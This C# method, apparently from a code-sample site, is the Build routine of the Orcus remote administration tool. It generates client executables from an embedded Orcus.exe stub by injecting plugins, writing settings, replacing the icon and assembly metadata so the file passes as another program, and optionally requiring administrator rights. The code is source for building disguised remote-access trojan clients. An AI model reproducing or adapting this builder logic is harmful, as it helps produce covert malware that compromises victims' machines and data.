Exemplo n.º 1
0
        public void Build(IBuilderInformation builderInformation, List <IBuilderProperty> properties,
                          List <BuildPluginEvent> builderEvents, List <ClientPlugin> plugins, IBuildLogger buildLogger)
        {
            buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusLoadingStream"],
                                             properties.GetBuilderProperty <FrameworkVersionBuilderProperty>().FrameworkVersion));

            Stream stream = null;

            var loadStreamPlugins = builderEvents.Where(x => x.BuilderEvent is LoadStreamBuilderEvent).ToList();

            if (loadStreamPlugins.Count == 0)
            {
                var resource =
                    Application.GetResourceStream(
                        new Uri(
                            $"pack://application:,,,/Orcus.Administration.Resources;component/Client/{properties.GetBuilderProperty<FrameworkVersionBuilderProperty>().FrameworkVersion}/Orcus.exe"));

                if (resource == null)
                {
                    throw new FileNotFoundException();
                }

                stream = resource.Stream;
            }
            else if (loadStreamPlugins.Count == 1)
            {
                stream = ((LoadStreamBuilderEvent)loadStreamPlugins.Single().BuilderEvent).LoadStream(builderInformation);
                buildLogger.Warn("BuildPlugin \"" + loadStreamPlugins[0].BuildPlugin.PluginInfo.Name +
                                 "\" modified the source stream. The output won't be the original Orcus made by Orcus Technologies.");
            }
            else if (loadStreamPlugins.Count > 1)
            {
                throw new Exception(
                          $"The following build plugins want to change the source of the Orcus assembly: {string.Join(", ", loadStreamPlugins.Select(x => x.BuildPlugin.PluginInfo.Name))}. Please deselect all but one of these plugins to successfully build Orcus.");
            }

            using (stream)
            {
                buildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusStreamLoaded"],
                                                  FormatBytesConverter.BytesToString(stream.Length)));
                var assemblyDefinition = AssemblyDefinition.ReadAssembly(stream,
                                                                         new ReaderParameters {
                    AssemblyResolver = new AssemblyResolver(buildLogger)
                });

                buildLogger.Status((string)Application.Current.Resources["BuildStatusInjectingPlugins"]);

                List <PluginResourceInfo> installedPlugins;
                InstallPlugins(assemblyDefinition, plugins, buildLogger, out installedPlugins);

                buildLogger.Status((string)Application.Current.Resources["BuildStatusWritingSettings"]);
                ApplySettings(assemblyDefinition, properties, installedPlugins, plugins, buildLogger);
                AddResources(assemblyDefinition, properties, buildLogger);

                builderEvents.ExecuteBuildPluginEvents <ModifyAssemblyBuilderEvent>(
                    x => x.ModifyAssembly(builderInformation, assemblyDefinition));

                buildLogger.Status((string)Application.Current.Resources["BuildStatusSavingOnDisk"]);
                assemblyDefinition.Write(
                    builderInformation.OutputFiles.Single(x => x.OutputFileType == OutputFileType.MainAssembly).Path);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusSavedSuccessfully"]);
            }

            builderEvents.ExecuteBuildPluginEvents <ClientFileCreatedBuilderEvent>(
                x => x.ClientFileCreated(builderInformation));

            var iconInfo = properties.GetBuilderProperty <ChangeIconBuilderProperty>();

            if (iconInfo.ChangeIcon)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingIcon"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                IconInjector.InjectIcon(builderInformation.AssemblyPath, iconInfo.IconPath);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusIconChanged"]);
            }

            var assemblyInfo = properties.GetBuilderProperty <ChangeAssemblyInformationBuilderProperty>();

            if (assemblyInfo.ChangeAssemblyInformation)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusApplyingAssemblyInformation"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                ApplyAssemblyInformation(builderInformation.AssemblyPath, assemblyInfo);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusAssemblyInformationApplied"]);
            }

            if (properties.GetBuilderProperty <DefaultPrivilegesBuilderProperty>().RequireAdministratorRights)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingManifest"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                ApplyManifest(builderInformation.AssemblyPath);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusManifestChanged"]);
            }

            builderEvents.ExecuteBuildPluginEvents <ClientFileModifiedBuilderEvent>(
                x => x.ClientFileModified(builderInformation));

            builderEvents.ExecuteBuildPluginEvents <ClientBuildCompletedBuilderEvent>(
                x => x.ClientBuildCompleted(builderInformation));
        }